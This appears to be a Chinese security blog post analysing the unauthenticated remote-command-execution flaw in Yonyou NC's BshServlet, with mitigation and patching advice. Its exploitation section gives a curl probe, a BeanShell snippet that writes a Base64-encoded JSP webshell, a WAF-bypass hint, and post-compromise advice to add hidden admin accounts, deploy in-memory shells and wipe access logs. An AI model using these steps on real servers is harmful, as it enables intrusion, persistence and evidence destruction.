用友 NC bsh.servlet.BshServlet RCE漏洞分析与实战利用

张开发
2026/4/18 11:33:03 15 分钟阅读

分享文章

用友 NC bsh.servlet.BshServlet RCE漏洞分析与实战利用
1. 漏洞背景与影响范围用友NC作为国内主流的企业管理软件其bsh.servlet.BshServlet组件曝出的远程命令执行漏洞RCE堪称近年来企业级应用中最危险的漏洞之一。这个漏洞的特殊性在于攻击者无需任何登录凭证直接通过网络请求就能在目标服务器上执行任意系统命令。我去年在某次企业安全评估中就遇到过真实案例某制造企业的财务系统因为该漏洞被入侵导致全公司薪资数据泄露。受影响的版本主要集中在用友NC6.5系列这个版本在2015-2018年间被大量企业部署。漏洞本质上是BeanShell测试接口未做权限校验攻击者可以通过构造特殊HTTP请求直接向/servlet/~ic/bsh.servlet.BshServlet路径发送恶意代码。更可怕的是由于用友NC通常以system权限运行成功利用后攻击者获取的将是服务器最高权限。2. 漏洞原理深度解析2.1 BeanShell组件的工作机制BeanShell本质上是一个轻量级的Java解释器用友NC原本通过bsh.servlet.BshServlet提供动态脚本执行功能用于系统调试。正常情况下这类接口应该严格限制在开发环境使用但实际部署时却被默认开启且未做访问控制。这就好比把系统后门的钥匙插在门锁上还贴了张欢迎使用的告示。漏洞触发的核心代码逻辑是这样的// 伪代码展示漏洞触发点 public void doPost(request, response) { String command request.getParameter(bsh.script); Interpreter interpreter new Interpreter(); interpreter.eval(command); // 直接执行用户输入的脚本 }2.2 攻击向量分析攻击者通常通过两种方式利用该漏洞直接命令执行发送包含Runtime.getRuntime().exec()的BeanShell脚本Webshell写入利用文件操作API写入JSP木马文件我在实际测试中发现由于用友NC的部署目录结构相对固定攻击者可以精准预测Web应用路径。比如常见的webapps/nc_web目录几乎成了攻击者的标准靶心。3. 漏洞利用实战演示3.1 环境搭建与检测首先需要确认目标是否存在漏洞。简单的方法是使用curl发送探测请求curl -X POST http://target/servlet/~ic/bsh.servlet.BshServlet \ -d bsh.scriptprint(\Hello_World\)如果返回内容包含脚本执行结果则证明漏洞存在。这里有个坑要注意某些WAF会拦截包含Runtime.getRuntime()的请求需要做字符串拆分等绕过处理。3.2 分步攻击过程步骤一写入Webshellimport sun.misc.BASE64Decoder; BASE64Decoder decoder new BASE64Decoder(); FileWriter fw new FileWriter(new File(./webapps/nc_web/shell.jsp)); String data PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKixqYXZhLnV0aWwuKixqYXZhLm5ldC4qLGphdmEuc3FsLiosamF2YS50ZXh0LioiJT48JSF...; // 实际使用时替换为完整Base64编码的JSP马 String str new String(decoder.decodeBuffer(data), utf-8); fw.write(str); fw.close();步骤二权限维持通过蚁剑等工具连接写入的Webshell时建议立即执行以下操作创建隐藏管理员账户部署内存马实现无文件持久化清除Web访问日志4. 防御方案与修复建议4.1 临时缓解措施如果无法立即升级可通过以下方式降低风险在nginx配置中添加location规则拦截恶意请求location ~ ^/servlet/~ic/bsh.servlet.BshServlet$ { deny all; }修改web.xml注释掉BshServlet的映射配置设置目录权限限制webapps目录的写入权限4.2 官方补丁升级用友官方已发布安全补丁建议按以下流程处理下载对应版本的补丁包如NC6.5的ERP补丁先在生产环境的测试镜像验证补丁兼容性业务低峰期进行灰度更新更新后使用漏洞验证POC确认修复效果5. 漏洞挖掘的延伸思考这个漏洞给我们的启示是企业级软件的安全问题往往出在设计时觉得不会暴露的功能上。我在审计其他ERP系统时发现类似问题普遍存在三个共性调试接口未关闭默认配置过于宽松依赖组件版本老旧建议企业用户建立三层的防御体系网络层的ACL限制、主机层的权限最小化、应用层的WAF规则。同时要特别警惕那些看似无害的servlet路径它们往往是最危险的突破口。

更多文章